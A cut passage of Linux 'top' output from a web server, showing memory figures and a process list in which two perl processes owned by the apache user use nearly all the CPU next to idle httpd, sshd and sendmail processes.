1.5% sy, 0.0% ni, 87.6% id, 0.1% wa, 0.0% hi, 0.0% si Mem: 2067756k total, 2007924k used,59832k free, 211024k buffers Swap: 2031608k total, 72k used, 2031536k free, 825952k cached PID USER PR NI VIRT RES SHR S %CPU %MEMTIME+ COMMAND 5660 apache25 0 4948 3012 1244 R 99.6 0.1 439:43.42 perl 5763 apache25 0 4944 3008 1248 R 97.6 0.1 431:24.66 perl 1 root 15 0 1692 612 528 S 0.0 0.0 0:00.10 init 5656 apache16 0 000 Z 0.0 0.0 0:00.00 sh 5759 apache16 0 000 Z 0.0 0.0 0:00.00 sh 11415 root 23 0 1596 544 456 S 0.0 0.0 0:00.02 syslogd 11425 root 20 0 4064 1140 836 S 0.0 0.1 0:00.06 sshd 11437 root 18 0 3780 1012 772 S 0.0 0.0 0:00.00 vsftpd 11453 root 18 0 7340 1824 864 S 0.0 0.1 0:00.01 sendmail 11462 smmsp 15 0 6488 1636 820 S 0.0 0.1 0:00.00 sendmail 11480 root 18 0 19748 6372 3960 S 0.0 0.3 0:00.07 httpd 11487 apache15 0 19888 4940 2352 S 0.0 0.2 0:00.15 httpd 11488 apache15 0 19992 5324 2676 S 0.0 0.3 0:00.13 httpd 11489 apache15 0 19996 5180 2544 S 0.0 0.3 0:00.10 httpd 11490 apache15 0 19888 4940 2352 S 0.0 0.2 0:00.11 httpd 11491 apache18 0 19868 4632 2040 S 0.0 0.2 0:00.11 httpd 11492 apache18 0 19864 4996 2384 S 0.0 0.2 0:00.14 httpd 11493 apache15 0 2 5284 2624 S 0.0 0.3 0:00.14 httpd 11494 apache18 0 19888 4624 2056 S 0.0 0.2 0:00.12 httpd 22409 apache19 0 19748 3712 1260 S 0.0 0.2 0:00.00 httpd 23993 root 15 0 1856 308 208 S 0.0 0.0 0:00.19 vzctl 23994 root 16 0 2216 1276 1052 S 0.0 0.1 0:00.
